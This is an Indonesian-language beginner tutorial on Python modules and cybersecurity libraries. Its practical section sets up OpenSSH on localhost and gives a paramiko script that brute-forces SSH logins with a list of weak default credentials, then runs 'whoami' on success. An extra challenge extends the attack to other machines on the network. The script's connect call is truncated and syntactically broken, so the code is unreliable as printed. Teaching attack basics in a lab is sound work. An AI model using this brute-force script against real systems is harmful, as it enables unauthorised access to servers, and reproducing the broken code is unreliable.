Modules dan Libraries

Basic Python for Cybersecurity

Definisi

- **Module**: satu file (.py) yang berisi variable, function, atau class yang bisa digunakan ulang.
- **Library**: Sekumpulan module yang dirangkai untuk menjalankan komputasi di domain spesifik.

Sumber Library

- **Modul Internal**: langsung didapat ketika instalasi Python. Misal: `os`, `sys`, `datetime`, `math`
- **Modul Eksternal**: didapat dari repository resmi Python, PyPI

Penggunaan Library

Modul Internal

```python
# import seluruh modul
import math
print(math.sqrt(25))  # Output: 5.0

# import sebagian modul
from math import sqrt
print(sqrt(25))       # Output: 5.0
```

Modul Eksternal

- Direkomendasikan untuk setup virtual environment dahulu
- Install library

```
pip install paramiko
```

- Import library

```
# import dengan nama agar ringkas
import paramiko as pko
```

Library Umum Terkait Cybersecurity

Library	Use Case
`socket`	Networking, port scanning, fetch banner
`scapy`	Packet crafting, sniffing
`paramiko`	SSH automation & testing
`nmap`	Manipulasi Nmap Python
`requests`	melakukan HTTP request (login, API, dll)
`shodan`	Search engine device terkoneksi internet
`pycryptodome`	Encryption, hashing
`beautifulsoup4`	HTML parsing, scraping

Masih ada banyak lagi. Lakukan eksplorasi dan silakan baca berbagai artikel.

Praktik: SSH Brute Force dengan Paramiko

SSH adalah suatu mekanisme koneksi dari suatu komputer untuk terhubung ke server. Anggaplah SSH sebagai pintu gerbang dari sebuah benteng. Selayaknya pintu gerbang utama, SSH harus memiliki pertahanan yang kuat. Dalam cybersecurity, hal itu berarti minimal password yang aman beserta mekanisme lainnya. Jika password SSH tidak aman (password pendek, sederhana, mudah ditebak, atau password bocor), seseorang dapat melakukan serangan brute force untuk mendapatkan akses. Di sini, kamu akan melakukan simulasi serangan SSH brute force menggunakan program Python dilengkapi library `paramiko`.

Langkah-langkah

1. Setup SSH di localhost
2. Setup credential di localhost (catat kombinasi username-password nya) - optional (bisa pakai user existing)
3. Buat virtual environment + install library
4. Buat program di Python
5. Jalankan program Python

Setup SSH di localhost

- Instalasi openSSH

```
sudo apt update
sudo apt install openssh-server -y
```

- Jalankan service `ssh` di background

```
sudo service ssh start
```

- Cek service `ssh`

```
sudo service ssh status
```

Buat Virtual Environment + Install Library

- buat folder virtual environment

```
python -m venv ssh_brute_force
```

- pindah ke folder virtual environment dan cek

```
cd ssh_brute_force
ls
```

Seharusnya ada file seperti `.gitignore`, `pyenv.cfg` dan folder `bin`, `include`, `lib`.

- Aktifkan virtual environment

```
source bin/activate
```

Tanda virtual environment sudah aktif adalah ada nama env di bagian kiri shell

- Install library

```
pip install paramiko
```

Buat program di Python

```python
# ssh_brute_force.py
import paramiko

# taruh list credentials di sini. tambahkan jika perlu
credentials = [
    ("admin", "toor"),
    ("root", "root123"),
    ("user", "123456"),
    # user kali yang berhasil, dengan asumsi memakai Kali Linux
    ("kali","kali")
]

# kita setup untuk attack SSH di localhost
target_ip = "127.0.0.1"

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for username, password in credentials:
    try:
        print(f"🔄 Trying {username}:{password} ...")
        ssh.connect(target_ip, username=username, password=password, timeout
        print(f"✅ Login success with {username}:{password}!")

        # ekspektasi masuk dan dan tampilkan informasi
        stdin, stdout, stderr = ssh.exec_command("whoami")
        print("💻 Server says:", stdout.read().decode().strip())

        ssh.close()

    except paramiko.AuthenticationException:
        print("❌ Login failed.")
    except Exception as e:
        print("⚠️ Error:", str(e))
```

Jalankan Program Python

```
python3 ssh_brute_force.py
```

Extra Challenge

- Coba buat program sederhana untuk minimal 3 library terkait cybersecurity
- Coba setup SSH di komputer lain dalam satu jaringan, lalu jalankan kembali SSH brute force

Referensi

- Top installed cybersecurity module: https://www.geeksforgeeks.org/top-10-python-libraries-for-cybersecurity/